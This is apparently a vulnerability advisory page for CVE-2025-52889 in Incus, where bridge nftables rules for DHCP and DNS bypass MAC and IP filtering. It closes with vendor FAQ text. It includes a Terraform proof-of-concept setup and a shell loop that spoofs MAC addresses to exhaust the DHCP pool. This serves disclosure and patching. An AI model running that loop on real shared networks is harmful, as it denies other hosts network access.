CVE-2025-52889

When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.

Details

In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:

iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop

Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.

Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:

{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}

{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}

An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.

PoC

With this terraform infrastructure:

resource "incus_network_acl" "acl_allow_out" {
  name    = "acl-allow-out"
  egress = [
    {
      action           = "allow"
      destination      = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
      state            = "enabled"
    },
  ]
}
resource "incus_network_acl" "acl_allow_in" {
  name    = "acl-allow-in"
  ingress = [
    {
      action           = "allow"
      state            = "enabled"
    },
  ]
}

resource "incus_network" "br0" {
  name = "br0"
  config = {
    "ipv4.address"          = "10.0.0.1/24"
    "ipv4.nat"              = "true"
  }
}

resource "incus_instance" "machine1" {
  name  = "machine1"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
    "cloud-init.vendor-data" = <<-EOF
      #cloud-config
      package_update: true
      packages:
        - dhclient
        - tcpdump
      runcmd:
        - systemctl disable --now systemd.networkd.service
        - systemctl disable --now systemd.networkd.socket
    EOF
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
      "security.ipv4_filtering" = true
      "security.acls" = join(",",
        [
          incus_network_acl.acl_allow_out.name,
          incus_network_acl.acl_allow_in.name,
        ])
    }
  }
}

resource "incus_instance" "machine2" {
  name  = "machine2"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
    }
  }
}

An attacker in a VM requests many IP addresses and exhaust the pool:

[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done

[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases  |wc -l
254

[HOST]$ incus start machine2

At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.

All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2025-52889 has a CVSS score of 3.4 (Low). The vector is reachable from an adjacent network, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.14.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-52889? CVE-2025-52889 is a low-severity allocation of resources without limits or throttling vulnerability in github.com/lxc/incus/v6 (go), affecting versions <= 6.13.0. It is fixed in 6.14.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2025-52889? CVE-2025-52889 has a CVSS score of 3.4 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lxc/incus/v6 are affected by CVE-2025-52889? github.com/lxc/incus/v6 (go) versions <= 6.13.0 is affected.
4. Is there a fix for CVE-2025-52889? Yes. CVE-2025-52889 is fixed in 6.14.0. Upgrade to this version or later.
5. Is CVE-2025-52889 exploitable, and should I be worried? Whether CVE-2025-52889 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-52889 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-52889? Upgrade github.com/lxc/incus/v6 to 6.14.0 or later.